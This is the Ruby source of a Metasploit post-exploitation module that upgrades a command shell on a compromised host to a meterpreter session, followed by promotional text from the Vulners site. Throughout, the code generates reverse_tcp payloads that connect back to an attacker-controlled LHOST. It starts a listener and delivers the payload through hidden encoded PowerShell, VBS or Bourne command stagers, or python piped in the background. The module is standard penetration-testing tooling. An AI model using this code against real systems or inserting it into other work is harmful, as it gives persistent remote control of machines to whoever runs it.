##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/exploitation/cmdstager'
class MetasploitModule < Msf::Post
include Exploit::Powershell
include Post::Architecture
include Post::Windows::Powershell
VALID_PSH_ARCH_OVERRIDE = ['x64', 'x86']
VALID_PLATFORM_OVERRIDE = Msf::Platform.find_children.map { |plat| plat.realname.downcase }
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Shell to Meterpreter Upgrade',
'Description' => %q{
This module attempts to upgrade a command shell to meterpreter. The shell
platform is automatically detected and the best version of meterpreter for
the target is selected. Currently meterpreter/reverse_tcp is used on Windows
and Linux, with 'python/meterpreter/reverse_tcp' used on all others.
},
'License' => MSF_LICENSE,
'Author' => ['Tom Sellers <tom [at] fadedcode.net>'],
'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ],
'SessionTypes' => [ 'shell', 'meterpreter' ]
)
)
register_options(
[
OptAddressLocal.new('LHOST',
[false, 'IP of host that will receive the connection from the payload (Will try to auto detect).', nil]),
OptInt.new('LPORT',
[true, 'Port for payload to connect to.', 4433]),
OptBool.new('HANDLER',
[ true, 'Start an exploit/multi/handler to receive the connection', true])
]
)
register_advanced_options([
OptInt.new('HANDLE_TIMEOUT',
[true, 'How long to wait (in seconds) for the session to come back.', 30]),
OptEnum.new('WIN_TRANSFER',
[true, 'Which method to try first to transfer files on a Windows target.', 'POWERSHELL', ['POWERSHELL', 'VBS']]),
OptEnum.new('PLATFORM_OVERRIDE',
[false, 'Define the platform to use.', nil, VALID_PLATFORM_OVERRIDE]),
OptEnum.new('PSH_ARCH_OVERRIDE',
[false, 'Define the powershell architecture to use', nil, VALID_PSH_ARCH_OVERRIDE]),
OptString.new('PAYLOAD_OVERRIDE',
[false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]),
OptString.new('BOURNE_PATH',
[false, 'Remote path to drop binary']),
OptString.new('BOURNE_FILE',
[false, 'Remote filename to use for dropped binary']),
OptInt.new('COMMAND_TIMEOUT',
[true, 'How long to wait (in seconds) for a result when executing a command on the remote machine.', 15]),
])
deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64')
end
def command_timeout
datastore['COMMAND_TIMEOUT']
end
# Run method for when run command is issued
def run
print_status("Upgrading session ID: #{datastore['SESSION']}")
# Try hard to find a valid LHOST value in order to
# make running 'sessions -u' as robust as possible.
if datastore['LHOST']
lhost = datastore['LHOST']
elsif framework.datastore['LHOST']
lhost = framework.datastore['LHOST']
else
lhost = session.tunnel_local.split(':')[0]
if lhost == 'Local Pipe'
print_error 'LHOST is "Local Pipe", please manually set the correct IP.'
return
end
end
# If nothing else works...
lhost = Rex::Socket.source_address if lhost.blank?
lport = datastore['LPORT']
# Handle platform specific variables and settings
if datastore['PAYLOAD_OVERRIDE']
unless datastore['PLATFORM_OVERRIDE']
print_error('Please pair PAYLOAD_OVERRIDE with a PLATFORM_OVERRIDE.')
return nil
end
unless datastore['PLATFORM_OVERRIDE'].in? VALID_PLATFORM_OVERRIDE
print_error('Please provide a valid PLATFORM_OVERRIDE')
return nil
end
payload_name = datastore['PAYLOAD_OVERRIDE']
payload = framework.payloads.create(payload_name)
platform = datastore['PLATFORM_OVERRIDE']
unless payload
print_error('Please provide a valid payload for PAYLOAD_OVERRIDE.')
return nil
end
if platform.downcase == 'windows' || platform.downcase == 'win'
unless datastore['PSH_ARCH_OVERRIDE']
print_error('Please provide a PSH_ARCH_OVERRIDE')
return nil
end
unless datastore['PSH_ARCH_OVERRIDE'].in? VALID_PSH_ARCH_OVERRIDE
print_error('Please provide a valid PSH_ARCH_OVERRIDE')
return nil
end
psh_arch = datastore['PSH_ARCH_OVERRIDE']
end
lplat = payload.platform.platforms
larch = payload.arch
else
case session.platform
when 'windows', 'win'
platform = 'windows'
lplat = [Msf::Platform::Windows]
arch = get_os_architecture
case arch
when ARCH_X64
payload_name = 'windows/x64/meterpreter/reverse_tcp'
psh_arch = 'x64'
when ARCH_X86
payload_name = 'windows/meterpreter/reverse_tcp'
psh_arch = 'x86'
else
print_error('Target is running Windows on an unsupported architecture such as Windows ARM!')
return nil
end
larch = [arch]
vprint_status('Platform: Windows')
when 'osx'
platform = 'osx'
payload_name = 'osx/x64/meterpreter/reverse_tcp'
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status('Platform: OS X')
when 'solaris'
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
vprint_status('Platform: Solaris')
else
# Find the best fit, be specific with uname to avoid matching hostname or something else
target_info = cmd_exec('uname -ms')
if target_info =~ /linux/i && target_info =~ /86/
# Handle linux shells that were identified as 'unix'
platform = 'linux'
payload_name = 'linux/x86/meterpreter/reverse_tcp'
lplat = [Msf::Platform::Linux]
larch = [ARCH_X86]
vprint_status('Platform: Linux')
elsif target_info =~ /darwin/i
platform = 'osx'
payload_name = 'osx/x64/meterpreter/reverse_tcp'
lplat = [Msf::Platform::OSX]
larch = [ARCH_X64]
vprint_status('Platform: OS X')
elsif remote_python_binary
# Generic fallback for OSX, Solaris, Linux/ARM
platform = 'python'
payload_name = 'python/meterpreter/reverse_tcp'
vprint_status('Platform: Python [fallback]')
end
end
end
if platform.blank?
print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.")
return nil
end
vprint_status("Upgrade payload: #{payload_name}")
payload_data = generate_payload(lhost, lport, payload_name)
if payload_data.blank?
print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.")
return nil
end
if datastore['HANDLER']
listener_job_id = create_multihandler(lhost, lport, payload_name)
if listener_job_id.blank?
print_error("Failed to start exploit/multi/handler on #{datastore['LPORT']}, it may be in use by another process.")
return nil
end
end
case platform.downcase
when 'windows'
if session.type == 'powershell'
template_path = Rex::Powershell::Templates::TEMPLATE_DIR
psh_payload = case datastore['Powershell::method']
when 'net'
Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload_data)
when 'reflection'
Rex::Powershell::Payload.to_win32pe_psh_reflection(template_path, payload_data)
when 'old'
Rex::Powershell::Payload.to_win32pe_psh(template_path, payload_data)
when 'msil'
raise 'MSIL Powershell method no longer exists'
else
raise 'No Powershell method specified'
end
# prepend_sleep => 1
psh_payload = 'Start-Sleep -s 1;' << psh_payload
encoded_psh_payload = encode_script(psh_payload)
cmd_exec(run_hidden_psh(encoded_psh_payload, psh_arch, true))
elsif have_powershell? && (datastore['WIN_TRANSFER'] != 'VBS')
vprint_status('Transfer method: Powershell')
psh_opts = { persist: false, prepend_sleep: 1 }
if session.type == 'shell'
cmd_exec("echo. | #{cmd_psh_payload(payload_data, psh_arch, psh_opts)}")
else
psh_opts[:remove_comspec] = true
cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts), nil, command_timeout, { 'Channelized' => false })
end
else
print_error('Powershell is not installed on the target.') if datastore['WIN_TRANSFER'] == 'POWERSHELL'
vprint_status('Transfer method: VBS [fallback]')
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
aborted = transmit_payload(exe, platform)
end
when 'python'
vprint_status('Transfer method: Python')
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary}", nil, command_timeout, { 'Channelized' => false })
when 'osx'
vprint_status('Transfer method: Python [OSX]')
payload_data = Msf::Util::EXE.to_python_reflection(framework, ARCH_X64, payload_data, {})
cmd_exec("echo \"#{payload_data}\" | #{remote_python_binary} & disown", nil, command_timeout, { 'Channelized' => false })
else
vprint_status('Transfer method: Bourne shell [fallback]')
exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data)
aborted = transmit_payload(exe, platform)
end
if datastore['HANDLER']
vprint_status('Cleaning up handler')
cleanup_handler(listener_job_id, aborted)
end
nil
end
#
# Get the Python binary from the remote machine, if any, by running
# a series of channelized `cmd_exec` calls.
# @return String/nil A string if a Python binary can be found, else nil.
#
def remote_python_binary
return @remote_python_binary if defined?(@remote_python_binary)
python_exists_regex = /Python (2|3)\.(\d)/
if cmd_exec('python3 -V 2>&1') =~ python_exists_regex
@remote_python_binary = 'python3'
elsif cmd_exec('python -V 2>&1') =~ python_exists_regex
@remote_python_binary = 'python'
elsif cmd_exec('python2 -V 2>&1') =~ python_exists_regex
@remote_python_binary = 'python2'
else
@remote_python_binary = nil
end
@remote_python_binary
end
def transmit_payload(exe, platform)
#
# Generate the stager command array
#
linemax = 1700
if session.exploit_datastore['LineMax']
linemax = session.exploit_datastore['LineMax'].to_i
end
opts = {
linemax: linemax
# :nodelete => true # keep temp files (for debugging)
}
case platform
when 'windows'
opts[:decoder] = File.join(Rex::Exploitation::DATA_DIR, 'exploits', 'cmdstager', 'vbs_b64')
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
when 'osx'
opts[:background] = true
cmdstager = Rex::Exploitation::CmdStagerPrintf.new(exe)
else
opts[:background] = true
opts[:temp] = datastore['BOURNE_PATH']
opts[:file] = datastore['BOURNE_FILE']
cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe)
end
cmds = cmdstager.generate(opts)
if cmds.nil? || cmds.empty?
print_error('The command stager could not be generated.')
raise ArgumentError
end
#
# Calculate the total size
#
total_bytes = 0
cmds.each { |cmd| total_bytes += cmd.length }
vprint_status('Starting transfer...')
begin
#
# Run the commands one at a time
#
sent = 0
aborted = false
cmds.each.with_index do |cmd, i|
# The last command should be fire-and-forget, otherwise issues occur where the original session waits
# for an unlimited amount of time for the newly spawned session to exit.
wait_for_cmd_result = i + 1 < cmds.length
# Note that non-channelized cmd_exec calls currently return an empty string
ret = cmd_exec(cmd, nil, command_timeout, { 'Channelized' => wait_for_cmd_result })
if wait_for_cmd_result
if !ret
aborted = true
else
ret.strip!
aborted = true if !ret.empty? && ret !~ /The process tried to write to a nonexistent pipe./
end
if aborted
print_error('Error: Unable to execute the following command: ' + cmd.inspect)
print_error('Output: ' + ret.inspect) if ret && !ret.empty?
break
end
end
sent += cmd.length
progress(total_bytes, sent)
end
rescue ::Interrupt
# TODO: cleanup partial uploads!
aborted = true
rescue StandardError => e
print_error("Error: #{e}")
aborted = true
end
return aborted
end
def cleanup_handler(listener_job_id, aborted)
# Return if the job has already finished
return nil if framework.jobs[listener_job_id].nil?
framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) do
if !aborted
timer = 0
timeout = datastore['HANDLE_TIMEOUT']
vprint_status("Waiting up to #{timeout} seconds for the session to come back")
while !framework.jobs[listener_job_id].nil? && timer < timeout
sleep(1)
timer += 1
end
end
print_status('Stopping exploit/multi/handler')
framework.jobs.stop_job(listener_job_id)
end
end
#
# Show the progress of the upload
#
def progress(total, sent)
done = (sent.to_f / total.to_f) * 100
print_status(format('Command stager progress: %3.2f%% (%d/%d bytes)', done.to_f, sent, total))
end
# Method for checking if a listener for a given IP and port is present
# will return true if a conflict exists and false if none is found
def check_for_listener(lhost, lport)
client.framework.jobs.each do |_k, j|
next unless j.name =~ %r{ multi/handler}
current_id = j.jid
current_lhost = j.ctx[0].datastore['LHOST']
current_lport = j.ctx[0].datastore['LPORT']
if lhost == current_lhost && lport == current_lport.to_i
print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}")
return true
end
end
return false
end
# Starts a exploit/multi/handler session
def create_multihandler(lhost, lport, payload_name)
pay = client.framework.payloads.create(payload_name)
pay.datastore['RHOST'] = rhost
pay.datastore['LHOST'] = lhost
pay.datastore['LPORT'] = lport
print_status('Starting exploit/multi/handler')
if check_for_listener(lhost, lport)
print_error('A job is listening on the same local port')
return
end
# Set options for module
mh = client.framework.exploits.create('multi/handler')
mh.share_datastore(pay.datastore)
mh.datastore['WORKSPACE'] = client.workspace
mh.datastore['PAYLOAD'] = payload_name
mh.datastore['EXITFUNC'] = 'thread'
mh.datastore['ExitOnSession'] = true
# Validate module options
mh.options.validate(mh.datastore)
# Execute showing output
mh.exploit_simple(
'Payload' => mh.datastore['PAYLOAD'],
'LocalInput' => user_input,
'LocalOutput' => user_output,
'RunAsJob' => true
)
# Check to make sure that the handler is actually valid
# If another process has the port open, then the handler will fail
# but it takes a few seconds to do so. The module needs to give
# the handler time to fail or the resulting connections from the
# target could end up on on a different handler with the wrong payload
# or dropped entirely.
select(nil, nil, nil, 5)
return nil if framework.jobs[mh.job_id.to_s].nil?
mh.job_id.to_s
end
def generate_payload(lhost, lport, payload_name)
payload = framework.payloads.create(payload_name)
unless payload.respond_to?('generate_simple')
print_error("Could not generate payload #{payload_name}. Invalid payload?")
return
end
options = "LHOST=#{lhost} LPORT=#{lport} RHOST=#{rhost}"
payload.generate_simple('OptionStr' => options)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation